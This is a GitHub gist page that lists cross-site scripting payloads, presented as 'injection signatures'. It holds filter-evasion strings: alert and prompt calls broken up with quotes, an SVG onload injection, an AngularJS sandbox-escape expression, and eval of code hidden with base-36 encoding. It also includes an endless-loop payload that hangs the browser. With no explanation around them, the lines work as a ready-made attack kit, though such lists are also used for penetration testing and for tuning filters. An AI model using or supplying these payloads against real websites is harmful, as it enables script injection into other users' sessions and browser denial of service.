Skip to content

Instantly share code, notes, and snippets.

@akincibor
akincibor / location='javascript:1+{}'
Created September 6, 2022 18:03 — forked from xsscx/location='javascript:1+{}'
XSS, Cross Site Scripting, Javascript Injection Signatures from XSS.Cx
'() {'
document.createElement('img').src='javascript:while(1){}'
'<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>'
(function(a){alert(1)}).call()
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
p'rompt(1)
"(prompt(1))in"
parseInt("prompt",36);
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval(1558153217..toString(36))(1)